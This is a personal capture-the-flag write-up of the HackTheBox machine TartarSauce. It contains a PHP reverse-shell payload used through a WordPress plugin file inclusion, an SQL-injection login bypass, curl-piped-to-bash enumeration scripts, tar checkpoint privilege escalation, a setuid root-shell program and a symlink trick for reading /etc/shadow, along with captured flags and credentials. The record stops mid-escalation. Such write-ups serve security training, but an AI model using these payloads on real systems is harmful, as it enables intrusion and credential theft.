Tracker

  • User
  • root  

Loot

Proofs

FileFlag
user.txtb2d6ec45472467c836f253bd170182c7
root.txte79abdab8b8a4b64f8579a10b2cd09f9

Passwords

UsernameHashCleartextNotes
admin5d1e3697d706b0e24e574b56e79affda:jB64OpMOWGxq

Interesting Artifacts

ArtifactOriginal PathSaved PathNotes

Summary

OS: ?

Distribution: ?

Architecture: ?

FQDN: ?

vhosts: ?

Lessons Learned

Another way I could have privesced:

When I looked at /var/backups/onuma_backup/error.txt, I saw that the diffs of the files were being outputted in the error log.

I could have done the same tarball trick, but instead of trying to make a binary executable that would elevate my permissions, I could have made a symlink with an actual file that existed. So, in /var/tmp/var/www/html, ln -s /etc/shadow index.html.

This symlinks the two files, but obviously I can't cat it as onuma. I could tar up all of /var/tmp/var again, let the script run, copy my shit in, then it will extract, and write the differences to the backup log where we will be able to read the shadow file inside.

At that point I would have been able to attempt to crack the root password, which would then allow me to su into root.

Solution

Open Ports

http on tcp/80

Foothold

www-data compromise

Ran auto recon.

root@kali# autorecon -v --single-target -o ./ 10.10.10.88

Loaded webpage... wut.

Looking at full_tcp_nmap, this is the only open port, it's an Apache web server on Linux, and I should look at the robots.txt page stat.

Ok, checking output of full Nmap HTTP service script scan.

\| http-comments-displayer:
\| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.88
\|
\| Path: <http://10.10.10.88:80/>
\| Line number: 563
\| Comment:
\|\_ \<!\--Carry on, nothing to see here :D\--\>
 
\| http-robots.txt: 5 disallowed entries
\| /webservices/tar/tar/source/
\| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
\|\_/webservices/developmental/ /webservices/phpmyadmin/

Yeah, robots.txt has some interesting entries, including /tar/tar and a file uploader, and phpmyadmin.

HTTP/1.1 200 OK
Date: Mon, 16 Nov 2020 23:04:17 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 21 Feb 2018 23:13:55 GMT
ETag: \"d0-565c114c45202\"
Accept-Ranges: bytes
Content-Length: 208
Vary: Accept-Encoding
Content-Type: text/plain
 
User-agent: \*
Disallow: /webservices/tar/tar/source/
Disallow: /webservices/monstra-3.0.4/
Disallow: /webservices/easy-file-uploader/
Disallow: /webservices/developmental/
Disallow: /webservices/phpmyadmin/

/tar/tar/source isn't found.

The /webservices/monstra-3.0.4/ directory does exist, appears to be a default/new install of a site powered by Monstra.

There is an admin login at/webservices/monstra-3.0.4/admin/.

Ran/checked gobuster results.

/index.html (Status: 200) \[Size: 10766\]
/robots.txt (Status: 200) \[Size: 208\]
/webservices (Status: 301) \[Size: 316\]

Ok, before I spend time fuzzing any more directories or anything, I should look for vulnerabilities related to Monstra 3.0.4.

root@kali# searchsploit monstra 3.0.4
\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-- \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\--
Exploit Title \| Path
\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-- \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\--
Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote Code Execution \| php/webapps/43348.txt
Monstra CMS 3.0.4 - Arbitrary Folder Deletion \| php/webapps/44512.txt
Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload \| php/webapps/48479.txt
Monstra cms 3.0.4 - Persitent Cross-Site Scripting \| php/webapps/44502.txt
Monstra CMS \< 3.0.4 - Cross-Site Scripting (1) \| php/webapps/44855.py
Monstra CMS \< 3.0.4 - Cross-Site Scripting (2) \| php/webapps/44646.txt
Monstra-Dev 3.0.4 - Cross-Site Request Forgery (Account Hijacking) \| php/webapps/45164.txt
\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-- \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\--
Shellcodes: No Results

Alright, looks like all EDB sploits requires authentication. Are there any default credentials? Google searched.

Found a Security Focus exploit that contained the following POST data to exploit an SQL injection authentication vulnerability, enabling admin authentication.

login%3d-1'+or+85+%3d+'85%26amp%3blogin_submit%3dEnter%26amp%3bpassword%3dlincoln.dll

I sent the request through Burp Repeater, and confirmed that the exploit was successful.

Since I know a failed login returns HTTP 200, I add --hc 200 to my wfuzz auth bypass sqli fuzz.

wfuzz -c --hh=10 --hc 200 -u http://10.10.10.88:80/webservices/monstra-3.0.4/admin/ -w "~/tools/host/wordlists/sqli-authbypass.txt" -d "login=FUZZ&password=password123&login_submit=Log+In" 2>&1 | tee -a ./wfuzz-80-sqli-loginphp.txt
 
login=%27%29+or+true\--&password=test&login_submit=Log+In

The next thing I'll do is fuzz this monstra directory.

root@kali# gobuster dir -u http://10.10.10.88:80/webservices/monstra-3.0.4/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -k -l -x "txt,html,php" -s"200,204,301,302,307,500" -o "tcp_80_http_gobuster_monstra.txt"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://10.10.10.88:80/webservices/monstra-3.0.4/>
\[+\] Threads: 10
\[+\] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
\[+\] Status codes: 200,204,301,302,307,500
\[+\] User Agent: gobuster/3.0.1
\[+\] Show length: true
\[+\] Extensions: html,php,txt
\[+\] Timeout: 10s
===============================================================
2020/11/17 12:55:02 Starting gobuster
===============================================================
/admin (Status: 301) \[Size: 336\]
/backups (Status: 301) \[Size: 338\]
/boot (Status: 301) \[Size: 335\]
/engine (Status: 301) \[Size: 337\]
/favicon.ico (Status: 200) \[Size: 1150\]
/index.php (Status: 200) \[Size: 4363\]
/libraries (Status: 301) \[Size: 340\]
/plugins (Status: 301) \[Size: 338\]
/public (Status: 301) \[Size: 337\]
/robots.txt (Status: 200) \[Size: 92\]
/rss.php (Status: 200) \[Size: 1039\]
/sitemap.xml (Status: 200) \[Size: 730\]
/storage (Status: 301) \[Size: 338\]
/tmp (Status: 301) \[Size: 334\]

Ok, that was good, looks like there is an entire site structure here. I'll start fuzzing the remainder of the discovered folders. I'll start with backups since if I'm lucky there will be some stored credentials or something.

root@kali# gobuster dir -u http://10.10.10.88:80/webservices/monstra-3.0.4/backups/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -k -l -x "txt,html,php" -s "200,204,301,302,307,500" -o "tcp_80_http_gobuster_monstra_backups.txt"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://10.10.10.88:80/webservices/monstra-3.0.4/backups/>
\[+\] Threads: 10
\[+\] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
\[+\] Status codes: 200,204,301,302,307,500
\[+\] User Agent: gobuster/3.0.1
\[+\] Show length: true
\[+\] Extensions: txt,html,php
\[+\] Timeout: 10s
===============================================================
2020/11/17 12:59:29 Starting gobuster
===============================================================
===============================================================
2020/11/17 13:00:47 Finished
===============================================================

Nothing there. What about /public? Although this will probably just be public assets and stuff.

gobuster dir -u <http://10.10.10.88:80/webservices/monstra-3.0.4/public/> -w /usr/share/seclists/Discovery/Web-Content/common.txt -k -l -x \"txt,html,php\" -s\"200,204,301,302,307,500\" -o \"tcp_80_http_gobuster_monstra_public.txt\"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://10.10.10.88:80/webservices/monstra-3.0.4/public/>
\[+\] Threads: 10
\[+\] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
\[+\] Status codes: 200,204,301,302,307,500
\[+\] User Agent: gobuster/3.0.1
\[+\] Show length: true
\[+\] Extensions: txt,html,php
\[+\] Timeout: 10s
===============================================================
2020/11/17 13:02:12 Starting gobuster
===============================================================
/assets (Status: 301) \[Size: 344\]
/themes (Status: 301) \[Size: 344\]
/uploads (Status: 301) \[Size: 345\]
===============================================================
2020/11/17 13:03:30 Finished
===============================================================

Exactly, nothing there, although that /public/uploads/ folder location may come in handy later. Next /storage.

root@kali# gobuster dir -u <http://10.10.10.88:80/webservices/monstra-3.0.4/storage/> -w /usr/share/seclists/Discovery/Web-Content/common.txt -k -l -x \"txt,html,php\" -s\"200,204,301,302,307,500\" -o \"tcp_80_http_gobuster_monstra_storage.txt\"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://10.10.10.88:80/webservices/monstra-3.0.4/storage/>
\[+\] Threads: 10
\[+\] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
\[+\] Status codes: 200,204,301,302,307,500
\[+\] User Agent: gobuster/3.0.1
\[+\] Show length: true
\[+\] Extensions: txt,html,php
\[+\] Timeout: 10s
===============================================================
2020/11/17 13:04:27 Starting gobuster
===============================================================
/blocks (Status: 301) \[Size: 345\]
/database (Status: 301) \[Size: 347\]
/emails (Status: 301) \[Size: 345\]
/pages (Status: 301) \[Size: 344\]
/snippets (Status: 301) \[Size: 347\]
===============================================================
2020/11/17 13:05:45 Finished
===============================================================

Instead of fuzzing like this, I searched and found the codebase on github. This showed me that there should be a users.table.xml file in /storage/database.

Browsing to this page resulted in the exposure of the admin md5 hash and salt values.

I saved the hash and salt to a local file, then ran hashcat against it.

hashcat -m 10 -a 0 \--username \--session tartarsauce ../loot/m10.hashes /usr/share/wordlists/rockyou.txt -O
hashcat (v6.1.1) starting\...
...

This didn't work, I don't think the hash value is actually the salt value I need. Looking further in the source code on github, line 100 of monstra/engine/Security.php lists the function used to hash passwords.

The variable MONSTRA_PASSWORD_SALT isn't defined in this file. Further exploration of the source code revealed line 66 in engine/boot/define.php, which defines the password salt. Could this be a server-wide salt, and not a user specific salt?

I attempted to GET the defines.php file from the target server.

root@kali# wget <http://10.10.10.88/webservices/monstra-3.0.4/engine/boot/defines.php>
\--2020-11-17 13:27:28\-- <http://10.10.10.88/webservices/monstra-3.0.4/engine/boot/defines.php>
Connecting to 10.10.10.88:80\... connected.
HTTP request sent, awaiting response\... 200 OK
Length: 24 \[text/html\]
Saving to: 'defines.php'
 
defines.php 100%\[=================================================\>\] 24 \--.-KB/s in 0s
 
2020-11-17 13:27:28 (5.26 MB/s) - 'defines.php' saved \[24/24\]

Wait, did I ever try to just log in with admin:admin? No. Let me try that first. Well fuck, that worked.

Ok, now I have login credentials, so I should be able to abuse this authenticated file upload/RCE vuln on edb right?

Following the instructions, I attempted to upload a php backdoor webshell. This failed.

Further review of the exploit poc showed that the login had to be in the context of an Editor. In order to find a valid user to use, I looked at the System>Users page. Here I saw that there were no other users, but it looked like I could make a new user.

I registered a new user with the Editor role assigned.

That didn't work, I reassigned user admin to the Editor role.

That also didn't work. It doesn't appear that I have any sort of write access to this Monstra CMS site at all. Could there be anything else on this server? I never actually fuzzed the /webservices/ folder did I? No, I just jumped straight from the web root fuzz to the monstra-3.0.4/ fuzz. I should run gobuster on that directory.

root@kali# gobuster dir -u <http://10.10.10.88:80/webservices/> -w /usr/share/seclists/Discovery/Web-Content/common.txt -k -l -x \"txt,html,php\" -s\"200,204,301,302,307,500\" -o \"../scans/tcp_80_http_gobuster_webservices.txt\"
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)
===============================================================
\[+\] Url: <http://10.10.10.88:80/webservices/>
\[+\] Threads: 10
\[+\] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
\[+\] Status codes: 200,204,301,302,307,500
\[+\] User Agent: gobuster/3.0.1
\[+\] Show length: true
\[+\] Extensions: txt,html,php
\[+\] Timeout: 10s
===============================================================
2020/11/17 14:54:21 Starting gobuster
===============================================================
/wp (Status: 301) \[Size: 319\]
===============================================================
2020/11/17 14:55:38 Finished
===============================================================

Ok, there's also a /wp/ folder. Let's go there.

Since I fed the request through Burp Suite, let's go check out the site tree there.

Wait, why is there a http: and the IP address in the folder structure? Let's look at that request. Ah, ok, it is using an absolute URL, but it's missing a '/' in it.

I can fix that in Burp Proxy options, by setting a match and replace rule for the response body...

... and for the response header.

Now I am able to load the page properly...

... and the tree in Burp Suite Target looks typical for a WordPress site.

Since it's a WP site, I'll run wpscan against it.

root@kali# wpscan \--url 10.10.10.88/webservices/wp -e ap \--plugins-detection aggressive
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
\_\_ \_\_\_\_\_\_\_ \_\_\_\_\_
\\ \\ / / \_\_ \\ / \_\_\_\_\|
\\ \\ /\\ / /\| \|\_\_) \| (\_\_\_ \_\_\_ \_\_ \_ \_ \_\_ ®
\\ \\/ \\/ / \| \_\_\_/ \\\_\_\_ \\ / \_\_\|/ \_\` \| \'\_ \\
\\ /\\ / \| \| \_\_\_\_) \| (\_\_\| (\_\| \| \| \| \|
\\/ \\/ \|\_\| \|\_\_\_\_\_/ \\\_\_\_\|\\\_\_,\_\|\_\| \|\_\|
 
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic - <https://automattic.com/>
\@\_WPScan\_, \@ethicalhack3r, \@erwan_lr, \@firefart
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
 
\[+\] URL: <http://10.10.10.88/webservices/wp/> \[10.10.10.88\]
\[+\] Started: Tue Nov 17 15:20:56 2020
 
Interesting Finding(s):
 
\[+\] Headers
\| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
\| Found By: Headers (Passive Detection)
\| Confidence: 100%
 
\[+\] XML-RPC seems to be enabled: <http://10.10.10.88/webservices/wp/xmlrpc.php>
\| Found By: Direct Access (Aggressive Detection)
\| Confidence: 100%
\| References:
\| - <http://codex.wordpress.org/XML-RPC_Pingback_API>
\| - <https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner>
\| - <https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos>
\| - <https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login>
\| - <https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access>
 
\[+\] WordPress readme found: <http://10.10.10.88/webservices/wp/readme.html>
\| Found By: Direct Access (Aggressive Detection)
\| Confidence: 100%
 
\[+\] The external WP-Cron seems to be enabled: <http://10.10.10.88/webservices/wp/wp-cron.php>
\| Found By: Direct Access (Aggressive Detection)
\| Confidence: 60%
\| References:
\| - <https://www.iplocation.net/defend-wordpress-from-ddos>
\| - <https://github.com/wpscanteam/wpscan/issues/1299>
 
\[+\] WordPress version 4.9.4 identified (Insecure, released on 2018-02-06).
\| Found By: Emoji Settings (Passive Detection)
\| - <http://10.10.10.88/webservices/wp/>, Match: \'wp-includes\\/js\\/wp-emoji-release.min.js?ver=4.9.4\'
\| Confirmed By: Meta Generator (Passive Detection)
\| - <http://10.10.10.88/webservices/wp/>, Match: \'WordPress 4.9.4\'
 
\[i\] The main theme could not be detected.
 
\[+\] Enumerating All Plugins (via Aggressive Methods)
 
\[i\] Plugin(s) Identified:
 
\[+\] akismet
\| Location: <http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/>
\| Last Updated: 2020-10-22T19:16:00.000Z
\| Readme: <http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt>
\| \[!\] The version is out of date, the latest version is 4.1.7
\|
\| Found By: Known Locations (Aggressive Detection)
\| - <http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/>, status: 200
\|
\| Version: 4.0.3 (100% confidence)
\| Found By: Readme - Stable Tag (Aggressive Detection)
\| - <http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt>
\| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
\| - <http://10.10.10.88/webservices/wp/wp-content/plugins/akismet/readme.txt>
 
\[+\] brute-force-login-protection
\| Location: <http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/>
\| Latest Version: 1.5.3 (up to date)
\| Last Updated: 2017-06-29T10:39:00.000Z
\| Readme: <http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt>
\|
\| Found By: Known Locations (Aggressive Detection)
\| - <http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/>, status: 403
\|
\| Version: 1.5.3 (100% confidence)
\| Found By: Readme - Stable Tag (Aggressive Detection)
\| - <http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt>
\| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
\| - <http://10.10.10.88/webservices/wp/wp-content/plugins/brute-force-login-protection/readme.txt>
 
\[+\] gwolle-gb
\| Location: <http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/>
\| Last Updated: 2020-10-21T12:24:00.000Z
\| Readme: <http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt>
\| \[!\] The version is out of date, the latest version is 4.0.8
\|
\| Found By: Known Locations (Aggressive Detection)
\| - <http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/>, status: 200
\|
\| Version: 2.3.10 (100% confidence)
\| Found By: Readme - Stable Tag (Aggressive Detection)
\| - <http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt>
\| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
\| - <http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt>
 
\[!\] No WPVulnDB API Token given, as a result vulnerability data has not been output.
\[!\] You can get a free API token with 50 daily requests by registering at <https://wpscan.com/register>
 
\[+\] Finished: Tue Nov 17 15:27:22 2020
\[+\] Requests Done: 89970
\[+\] Cached Requests: 31
\[+\] Data Sent: 23.957 MB
\[+\] Data Received: 12.097 MB
\[+\] Memory used: 456.551 MB
\[+\] Elapsed time: 00:06:26

Ok, let's search searchsploit for this out-of-date gwolle-gb plugin.

root@kali# searchsploit gwolle
\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-- \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\--
Exploit Title \| Path
\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-- \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\--
WordPress Plugin Gwolle Guestbook 1.5.3 - Remote File Inclusion \| php/webapps/38861.txt
\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-- \-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\-\--
Shellcodes: No Results

Looks like this is a remote file inclusion PHP vulnerability.

I insert a PHP reverse shell one-liner into the wp-load.php file on my kali host as poc instructs. Then I started pyserve to host the file, then requested the target URL per the poc. (http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.15/)

root@kali# cat wp-load.php
\<?php
\$sock = fsockopen(\"10.10.14.15\",443);\$proc = proc_open(\"/bin/sh -i\", array(0=\>\$sock, 1=\>\$sock, 2=\>\$sock), \$pipes);
?\>
root@kali# pyserve
Serving HTTP on 0.0.0.0 port 80 (<http://0.0.0.0:80/>) \...
10.10.10.88 - - \[17/Nov/2020 15:36:25\] \"GET /wp-load.php HTTP/1.0\" 200 -

And I caught a shell back on my nc listener.

root@kali# nc -nvlp 443
listening on \[any\] 443 \...
connect to \[10.10.14.15\] from (UNKNOWN) \[10.10.10.88\] 33084
/bin/sh: 0: can\'t access tty; job control turned off
\$

Escalation to user onuma

I checked the users in /home, and saw that the only user listed was onuma.

\$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Feb 9 2018 .
drwxr-xr-x 22 root root 4096 May 1 2018 ..
drwxrw\-\-\-- 5 onuma onuma 4096 Feb 21 2018 onuma

I upgraded my shell with the script trick, and give myself la=ls -lAh.

\$ /usr/bin/script -qc /bin/bash /dev/null
\</wp/wp-content/plugins/gwolle-gb/frontend/captcha\$
\</wp/wp-content/plugins/gwolle-gb/frontend/captcha\$ alias la=\'ls -lAh\'
alias la=\'ls -lAh\'

Before I source and execute a linux enum script, I check if I have any sudo rights.

www-data@TartarSauce:/var/www/html/webservices/monstra-3.0.4\$ sudo -l
sudo -l
Matching Defaults entries for www-data on TartarSauce:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin
 
User www-data may run the following commands on TartarSauce:
(onuma) NOPASSWD: /bin/tar

So www-data can run /bin/tar as user onuma. Whats gtfobins have to say?

Ok, let's try to escalate to onuma through tar not dropping the elevated privs.

www-data@TartarSauce:/var/www/html/webservices/monstra-3.0.4\$ sudo -u onuma tar -cf /dev/null /dev/null \--checkpoint=1 \--checkpoint-action=exec=/bin/sh
\< -cf /dev/null /dev/null \--checkpoint=1 \--checkpoint-action=exec=/bin/sh
tar: Removing leading \`/\' from member names
\$ id
id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
\$

That worked!

User Compromise

EoP Enumeration

Once again, before I run any enum scripts, what sudo perms does this user have?

onuma@TartarSauce:\~\$ sudo -l
sudo -l
\[sudo\] password for onuma:

Damn, requires password to list. What's in the users home folder?

onuma@TartarSauce:\~\$ la
la
total 32K
lrwxrwxrwx 1 root root 9 Feb 17 2018 .bash_history -\> /dev/null
-rwxrw\-\-\-- 1 onuma onuma 220 Feb 9 2018 .bash_logout
-rwxrw\-\-\-- 1 onuma onuma 3.8K Feb 15 2018 .bashrc
drwxrw\-\-\-- 2 onuma onuma 4.0K Feb 9 2018 .cache
-rwxrw\-\-\-- 1 onuma onuma 52 Feb 17 2018 .mysql_history
drwxrw\-\-\-- 2 onuma onuma 4.0K Feb 17 2018 .nano
-rwxrw\-\-\-- 1 onuma onuma 655 Feb 9 2018 .profile
drwxrw\-\-\-- 2 onuma onuma 4.0K Feb 15 2018 .ssh
-rwxrw\-\-\-- 1 onuma onuma 0 Feb 9 2018 .sudo_as_admin_successful
lrwxrwxrwx 1 root root 9 Feb 17 2018 shadow_bkp -\> /dev/null
-r\-\-\-\-\-\-\-- 1 onuma onuma 33 Feb 9 2018 user.txt

What's in the SQL history?

onuma@TartarSauce:\~\$ cat .mysql_history
cat .mysql_history
\_HiStOrY_V2\_
create\\040database\\040backuperer;
exit

Is SQL listening? Yup on localhost.

onuma@TartarSauce:\~\$ netstat -antup\| grep LISTEN
netstat -antup\| grep LISTEN
(No info could be read for \"-p\": geteuid()=1000 but you should be root.)
tcp 0 0 127.0.0.1:3306 0.0.0.0:\* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:\* LISTEN -
onuma@TartarSauce:\~\$

Wait, so I have a shadow_bkp file, which requires root to read, and I have a backuperer command in my mysql history, is this user logging in to mysql as root? Nope.

onuma@TartarSauce:\~\$ mysql -u root
mysql -u root
ERROR 1045 (28000): Access denied for user \'root\'@\'localhost\' (using password: NO)
onuma@TartarSauce:\~\$ mysql
mysql
ERROR 1045 (28000): Access denied for user \'onuma\'@\'localhost\' (using password: NO)

Time to run a script.

curl -s http://10.10.14.15/linux_smart_enum.sh | bash /dev/stdin -l 1

See command output in scans folder.

What's this /bin/bash /usr/sbin/backuperer process running as root?

onuma@TartarSauce:\~\$ /usr/sbin/backuperer
/usr/sbin/backuperer
/usr/sbin/backuperer: line 29: /var/backups/onuma_backup_test.txt: Permission denied
/bin/rm: refusing to remove \'.\' or \'..\' directory: skipping \'/var/tmp/.\'
/bin/rm: refusing to remove \'.\' or \'..\' directory: skipping \'/var/tmp/..\'
onuma is not in the sudoers file. This incident will be reported.
tar (child): /var/tmp/.3b3a94a0a00fa0f70720e1d6a79723179eb9c147: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
/bin/tar: Child returned status 2
/bin/tar: Error is not recoverable: exiting now
/usr/bin/diff: /var/tmp/check/var/www/html: No such file or directory
/bin/mv: cannot stat \'/var/tmp/.3b3a94a0a00fa0f70720e1d6a79723179eb9c147\': No such file or directory
/bin/rm: refusing to remove \'.\' or \'..\' directory: skipping \'.\'
/bin/rm: refusing to remove \'.\' or \'..\' directory: skipping \'..\'

I tried running strings on the binary, but that wasn't installed on the target machine. I tried to then dump the file contents, hoping I could get something useful. Turns out it wasn't compiled or in assembly or anything, it was raw strings already.

onuma@TartarSauce:\~\$ cat /usr/sbin/backuperer
cat /usr/sbin/backuperer
#!/bin/bash

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ȜӎŗgͷͼȜ
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{
    for n in $(seq 72);
    do /usr/bin/printf $"-";
    done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
    /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [ $(integrity_chk) ](%20$(integrity_chk)%20)
then
    # Report errors so the dev can investigate the issue.
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # Clean up and save archive to the bkpdir.
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi

Ok reviewing the code, the sudo statement allows whoever executes the file to sudo into onuma in order to execute tar, which is what enabled my initial escalation.

Another script:

curl -s http://10.10.14.15/linux_enumeration.sh | bash /dev/stdin

see output in scans

//BREAK//

I looked up the ippsec video for this. I knew it had something to do with the backuperer script, but I had no idea how to actually abuse it.

First, I copied the setuid-eop-sh.c file from my tools folder to my working directory. Then I edited it to make it correct, I think it was fucked up before idk. It wouldn't compile at least.

root@kali# cat ses.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv) {
    setreuid(0,0);
    system("/bin/bash");
    return 0;
}

Then I compiled it as test with gcc.

root@kali# gcc -m32 -o test ses.c

Then I served it with python http server and downloaded it to the target with wget, changed to make it executable and set the setuid bit on it with 6555, and tested it to make sure it executed on the target host.

onuma@TartarSauce:\~\$ wget <http://10.10.14.15/test>
wget <http://10.10.14.15/test>
\--2020-11-17 17:00:56\-- <http://10.10.14.15/test>
Connecting to 10.10.14.15:80\... connected.
HTTP request sent, awaiting response\... 200 OK
Length: 15520 (15K) \[application/octet-stream\]
Saving to: \'test\'
 
test 100%\[===================\>\] 15.16K \--.-KB/s in 0.02s
 
2020-11-17 17:00:56 (847 KB/s) - \'test\' saved \[15520/15520\]
onuma@TartarSauce:\~\$ chmod 6555 test
chmod 6555 test
onuma@TartarSauce:\~\$ la
la
total 24K
